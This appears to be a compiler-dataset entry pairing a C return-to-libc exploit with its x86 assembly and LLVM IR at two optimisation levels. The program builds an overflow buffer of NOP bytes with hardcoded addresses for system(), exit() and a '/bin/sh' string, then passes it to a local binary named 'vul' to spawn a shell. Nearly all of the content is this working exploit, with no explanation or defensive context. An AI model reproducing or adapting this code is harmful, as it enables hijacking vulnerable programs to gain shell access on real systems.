#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int atoi(char *);
int /*<<< orphan*/ execl(char *, char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
char *malloc(int);
int /*<<< orphan*/ memset(char *, int, int);
int /*<<< orphan*/ printf(char *, ...);
void main(int argc, char *argv[]) {
  char *buff, *ptr, *shellcode_ptr;
  long *addr_ptr, addr;
  int offset = 0, malicious_size = 64;
  int buffer_size = 0;
  int i;
  if (argc > 1)
    buffer_size = atoi(argv[1]);
  if (!(buff = malloc(malicious_size))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  memset(buff, 0x90, malicious_size);
  ptr = buff;
  addr_ptr = (long *)(ptr + buffer_size);
  printf("[+] system() at 0x%x\n", (unsigned int)0xb7e63280);
  *(addr_ptr++) = 0xb7e63280;
  printf("[+] exit() at 0x%x\n", (unsigned int)0xb7e55820);
  *(addr_ptr++) = 0xb7e55820;
  printf("[+] /bin/sh string at 0x%x\n", (unsigned int)0xb7f8bc18);
  *(addr_ptr++) = 0xb7f8bc18;
  buff[malicious_size - 1] = '\0';
  execl("./vul", "vul", buff, NULL);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x50,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x3c(%rbp)
movl   $0x40,-0x40(%rbp)
movl   $0x0,-0x44(%rbp)
cmpl   $0x1,-0x4(%rbp)
jle    119e <main+0x3e>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1060 <atoi@plt>
mov    %eax,-0x44(%rbp)
mov    -0x40(%rbp),%edi
call   1050 <malloc@plt>
mov    %rax,-0x18(%rbp)
cmp    $0x0,%rax
jne    11c9 <main+0x69>
lea    0xe45(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
xor    %edi,%edi
call   1070 <exit@plt>
mov    -0x18(%rbp),%rdi
mov    -0x40(%rbp),%edx
mov    $0x90,%esi
call   1040 <memset@plt>
mov    -0x18(%rbp),%rax
mov    %rax,-0x20(%rbp)
mov    -0x20(%rbp),%rax
movslq -0x44(%rbp),%rcx
add    %rcx,%rax
mov    %rax,-0x30(%rbp)
lea    0xe20(%rip),%rdi
mov    $0xb7e63280,%esi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x30(%rbp),%rax
mov    %rax,%rcx
add    $0x8,%rcx
mov    %rcx,-0x30(%rbp)
mov    $0xb7e63280,%ecx
mov    %rcx,(%rax)
lea    0xe0c(%rip),%rdi
mov    $0xb7e55820,%esi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x30(%rbp),%rax
mov    %rax,%rcx
add    $0x8,%rcx
mov    %rcx,-0x30(%rbp)
mov    $0xb7e55820,%ecx
mov    %rcx,(%rax)
lea    0xdf6(%rip),%rdi
mov    $0xb7f8bc18,%esi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x30(%rbp),%rax
mov    %rax,%rcx
add    $0x8,%rcx
mov    %rcx,-0x30(%rbp)
mov    $0xb7f8bc18,%ecx
mov    %rcx,(%rax)
mov    -0x18(%rbp),%rax
mov    -0x40(%rbp),%ecx
sub    $0x1,%ecx
movslq %ecx,%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x18(%rbp),%rdx
lea    0xdd3(%rip),%rdi
lea    0xdce(%rip),%rsi
xor    %eax,%eax
mov    %eax,%ecx
call   1080 <execl@plt>
add    $0x50,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
cmp    $0x2,%edi
jl     1188 <main+0x18>
mov    0x8(%rsi),%rdi
call   1070 <atoi@plt>
movslq %eax,%r14
jmp    118b <main+0x1b>
xor    %r14d,%r14d
mov    $0x40,%edi
call   1060 <malloc@plt>
test   %rax,%rax
je     122f <main+0xbf>
mov    %rax,%r15
mov    %rax,%rdi
mov    $0x90,%esi
mov    $0x40,%edx
call   1050 <memset@plt>
lea    0xe46(%rip),%rdi
mov    $0xb7e63280,%esi
xor    %eax,%eax
call   1040 <printf@plt>
mov    $0xb7e55820,%ebx
lea    0xda60(%rbx),%rax
mov    %rax,(%r15,%r14,1)
lea    0xe39(%rip),%rdi
mov    $0xb7e55820,%esi
xor    %eax,%eax
call   1040 <printf@plt>
mov    %rbx,0x8(%r15,%r14,1)
lea    0xe35(%rip),%rdi
mov    $0xb7f8bc18,%esi
xor    %eax,%eax
call   1040 <printf@plt>
add    $0x1363f8,%rbx
mov    %rbx,0x10(%r15,%r14,1)
movb   $0x0,0x3f(%r15)
lea    0xe2d(%rip),%rdi
lea    0xe28(%rip),%rsi
mov    %r15,%rdx
xor    %ecx,%ecx
pop    %rbx
pop    %r14
pop    %r15
jmp    1090 <execl@plt>
lea    0xe16(%rip),%rdi
call   1030 <puts@plt>
xor    %edi,%edi
call   1080 <exit@plt>

LLVM IR (-O0):
@.str = [24 x i8] c"Can't allocate memory.\0A\00"
@.str.1 = [22 x i8] c"[+] system() at 0x%x\0A\00"
@.str.2 = [20 x i8] c"[+] exit() at 0x%x\0A\00"
@.str.3 = [28 x i8] c"[+] /bin/sh string at 0x%x\0A\00"
@.str.4 = [6 x i8] c"./vul\00"
@.str.5 = [4 x i8] c"vul\00"
define void @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i8**
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i64*
%9 = alloca i64
%10 = alloca i32
%11 = alloca i32
%12 = alloca i32
%13 = alloca i32
store i32 %0, i32* %3
store i8** %1, i8*** %4
store i32 0, i32* %10
store i32 64, i32* %11
store i32 0, i32* %12
%14 = load i32, i32* %3
%15 = icmp sgt i32 %14, 1
br i1 %15, label %16, label %21
16: ; preds = %2
%17 = load i8**, i8*** %4
%18 = getelementptr inbounds i8*, i8** %17, i64 1
%19 = load i8*, i8** %18
%20 = call i32 @atoi(i8* %19)
store i32 %20, i32* %12
br label %21
21: ; preds = %16, %2
%22 = load i32, i32* %11
%23 = call i8* @malloc(i32 %22)
store i8* %23, i8** %5
%24 = icmp ne i8* %23, null
br i1 %24, label %28, label %25
25: ; preds = %21
%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0))
%27 = call i32 @exit(i32 0)
unreachable
28: ; preds = %21
%29 = load i8*, i8** %5
%30 = load i32, i32* %11
%31 = call i32 @memset(i8* %29, i32 144, i32 %30)
%32 = load i8*, i8** %5
store i8* %32, i8** %6
%33 = load i8*, i8** %6
%34 = load i32, i32* %12
%35 = sext i32 %34 to i64
%36 = getelementptr inbounds i8, i8* %33, i64 %35
%37 = bitcast i8* %36 to i64*
store i64* %37, i64** %8
%38 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0), i32 -1209650560)
%39 = load i64*, i64** %8
%40 = getelementptr inbounds i64, i64* %39, i32 1
store i64* %40, i64** %8
store i64 3085316736, i64* %39
%41 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0), i32 -1209706464)
%42 = load i64*, i64** %8
%43 = getelementptr inbounds i64, i64* %42, i32 1
store i64* %43, i64** %8
store i64 3085260832, i64* %42
%44 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.3, i64 0, i64 0), i32 -1208435688)
%45 = load i64*, i64** %8
%46 = getelementptr inbounds i64, i64* %45, i32 1
store i64* %46, i64** %8
store i64 3086531608, i64* %45
%47 = load i8*, i8** %5
%48 = load i32, i32* %11
%49 = sub nsw i32 %48, 1
%50 = sext i32 %49 to i64
%51 = getelementptr inbounds i8, i8* %47, i64 %50
store i8 0, i8* %51
%52 = load i8*, i8** %5
%53 = call i32 @execl(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.5, i64 0, i64 0), i8* %52, i32* null)
ret void
}

LLVM IR (-O2):
@.str.1 = [22 x i8] c"[+] system() at 0x%x\0A\00"
@.str.2 = [20 x i8] c"[+] exit() at 0x%x\0A\00"
@.str.3 = [28 x i8] c"[+] /bin/sh string at 0x%x\0A\00"
@.str.4 = [6 x i8] c"./vul\00"
@.str.5 = [4 x i8] c"vul\00"
@str = [23 x i8] c"Can't allocate memory.\00"
define void @main(i32 %0, i8** nocapture %1) {
%3 = icmp sgt i32 %0, 1
br i1 %3, label %4, label %9
4: ; preds = %2
%5 = getelementptr inbounds i8*, i8** %1, i64 1
%6 = load i8*, i8** %5
%7 = tail call i32 @atoi(i8* %6)
%8 = sext i32 %7 to i64
br label %9
9: ; preds = %4, %2
%10 = phi i64 [ %8, %4 ], [ 0, %2 ]
%11 = tail call dereferenceable_or_null(64) i8* @malloc(i32 64)
%12 = icmp eq i8* %11, null
br i1 %12, label %13, label %16
13: ; preds = %9
%14 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str, i64 0, i64 0))
%15 = tail call i32 @exit(i32 0)
unreachable
16: ; preds = %9
%17 = tail call i32 @memset(i8* %11, i32 144, i32 64)
%18 = getelementptr inbounds i8, i8* %11, i64 %10
%19 = bitcast i8* %18 to i64*
%20 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0), i32 -1209650560)
%21 = getelementptr inbounds i8, i8* %18, i64 8
%22 = bitcast i8* %21 to i64*
store i64 3085316736, i64* %19
%23 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0), i32 -1209706464)
%24 = getelementptr inbounds i8, i8* %21, i64 8
%25 = bitcast i8* %24 to i64*
store i64 3085260832, i64* %22
%26 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([28 x i8], [28 x i8]* @.str.3, i64 0, i64 0), i32 -1208435688)
store i64 3086531608, i64* %25
%27 = getelementptr inbounds i8, i8* %11, i64 63
store i8 0, i8* %27
%28 = tail call i32 @execl(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.5, i64 0, i64 0), i8* %11, i32* null)
ret void
}